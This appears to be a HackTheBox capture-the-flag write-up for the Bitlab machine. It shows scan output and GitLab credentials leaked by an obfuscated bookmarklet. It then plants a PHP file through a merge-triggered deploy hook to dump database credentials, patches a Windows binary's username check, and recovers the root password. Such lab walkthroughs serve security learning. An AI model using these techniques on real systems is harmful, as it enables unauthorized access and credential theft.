Bitlab - HackTheBox

Let's start with a port scan:

$ nmap -A -T4 10.10.10.114
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-11 12:23 EST
Nmap scan report for 10.10.10.114
Host is up (0.058s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let's visit the website on port 80:

This is a Gitlab server installation and trying common username and passwords combinations or a bruteforce with Hydra does not gives us anything, but by visiting the Help link in the bottom, we find an interesting page:

The most interesting link is the last one, Gitlab login, which contains this javascript function:

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

It is obfuscated, so let's use a tool like https://beautifier.io/ to improve the readability:

javascript: (function() {
    var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()

And let's replace the variable with their values:

javascript: (function() {
    var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
    document["getElementById"]("user_login")["value"] = "clave";
    document["getElementById"]("user_password")["value"] = "11des0081x";
})()

Basically what it does is it autocompletes the login form with clave as username and 11des0081x as password. After logging in we find two repositories:

This is the code of Deployer:

<?php

$input = file_get_contents("php://input");
$payload  = json_decode($input);

$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
    echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}

echo "OK\n";

It does a Git pull automatically after a merge is done on the Profile repository. Luckily for us, the Profile repository is cloned into the root of the web server, and it's visitable by going on the user's settings (which is strange, maybe it was an error).

Another interesting thing can be found in the user's snippets:

The logical thing to do now is to try to use those credentials to dump the table, so let's create a file called dump.php in the Profile repository and let's write the following code:

<?php
    $db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
    $result = pg_query($db_connection,"SELECT * FROM profiles;");
    var_dump(pg_fetch_all($result));
?>

After creating a merge request and accepting it, the Deployer project will automatically pull the changes and the dump.php file will be visitable. Here is it's output:

array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    string(1) "1"
    ["username"]=>
    string(5) "clave"
    ["password"]=>
    string(22) "c3NoLXN0cjBuZy1wQHNz=="
  }
}

The password looks like base64 and it gets decoded as ssh-str0ng-p@ss, but there is an invalid padding, and the password is the actual base64 string. I hate when in CTFs these things happen, it's just a loss of time. So let's connect with SSH and let's get the user flag:

clave@bitlab:~$ wc -c user.txt
33 user.txt

Privilege escalation

The first thing that jumped to my eyes is a file in user's home:

clave@bitlab:~$ ls
RemoteConnection.exe  user.txt

Let's copy it on our machine to analyze it: scp clave@10.10.10.114:/home/clave/RemoteConnection.exe .

Using Ghidra to reverse engineer it we can find some interesting strings:

And those strings are used in this function: {{< highlight C "linenos=table, hl_lines=71" >}} / WARNING: Could not reconcile some variable overlaps /

void FUN_00401520(void)

{ LPCWSTR pWVar1; undefined4 pppuVar2; LPCWSTR lpParameters; undefined4 pppuVar3; int in_FS_OFFSET; uint in_stack_ffffff44; undefined4 puVar4; uint uStack132; undefined local_74; undefined local_70; DWORD local_6c; void local_68 [4]; undefined4 local_58; uint local_54; void local_4c [4]; undefined4 local_3c; uint local_38; undefined4 local_30 [4]; int local_20; uint local_1c; uint local_14; int local_10; undefined puStack12; undefined4 local_8;

local8 = 0xffffffff; puStack12 = &LAB_004028e0; local_10 = in_FS_OFFSET; uStack132 = DAT_00404018 ^ (uint)&stack0xfffffffc; (int **)in_FS_OFFSET = &local_10; local_6c = 4; local_14 = uStack132; GetUserNameW((LPWSTR)0x4,&local_6c); local_38 = 0xf; local_3c = 0; local_4c[0] = (void )((uint)local_4c[0] & 0xffffff00); FUN_004018f0(); local_8 = 0; FUN_00401260(local_68,local_4c); local_74 = &stack0xffffff60; local_8._0_1 = 1; FUN004018f0(); local_70 = &stack0xffffff44; local_8._0_1 = 2; puVar4 = (undefined4 *)(instack_ffffff44 & 0xffffff00); FUN_00401710(local_68); local_8._0_1 = 1; FUN00401040(puVar4); local_8 = CONCAT31(local_8._1_3,3); lpParameters = (LPCWSTR)FUN_00401e6d(); pppuVar3 = local_30[0]; if (local_1c < 0x10) { pppuVar3 = local_30; } pWVar1 = lpParameters; pppuVar2 = local_30[0]; if (local_1c < 0x10) { pppuVar2 = local_30; } while (pppuVar2 != (undefined4 )(local_20 + (int)pppuVar3)) { pWVar1 = (short)(char )pppuVar2; pWVar1 = pWVar1 + 1; pppuVar2 = (undefined4 *)((int)pppuVar2 + 1); } lpParameters[local_20] = L'\0'; if (local_6c == L'clave') { ShellExecuteW((HWND)0x0,L"open",L"C:\Program Files\PuTTY\putty.exe",lpParameters,(LPCWSTR)0x0, 10); } if (0xf < local_1c) { operator_delete(local_30[0]); } local_1c = 0xf; local_20 = 0; local_30[0] = (undefined4 **)((uint)local_30[0] & 0xffffff00); if (0xf < local_54) { operator_delete(local_68[0]); } local_54 = 0xf; local_58 = 0; local_68[0] = (void )((uint)local_68[0] & 0xffffff00); if (0xf < local_38) { operator_delete(local_4c[0]); } *in_FS_OFFSET = local_10; FUN_00401e78(); return; } {{< /highlight >}}

It looks like it uses some functions to decrypt a password and use it to login with PuTTY to a machine on line 71. The only problem is that the user that runs the program must be named Clave, and this check is at address 0x401640:

We can patch the program by editing JNZ LAB_00401662 at address 0x401647 to JMP 0x00401649 to unconditionally jump, and running the patched program gets us a root shell on the machine:

Cool! This was my first machine that needed reverse engineering so it took me a while, and the important thing that we can learn is to not be lazy and use strange methods to save passwords and important stuff.

Another way that this step could have been done is to use a debugger and put a breakpoint after the password gets decoded and read the memory:

Qf7]8YSV.wDNF*[7d?j&eD4^

Thanks for reading!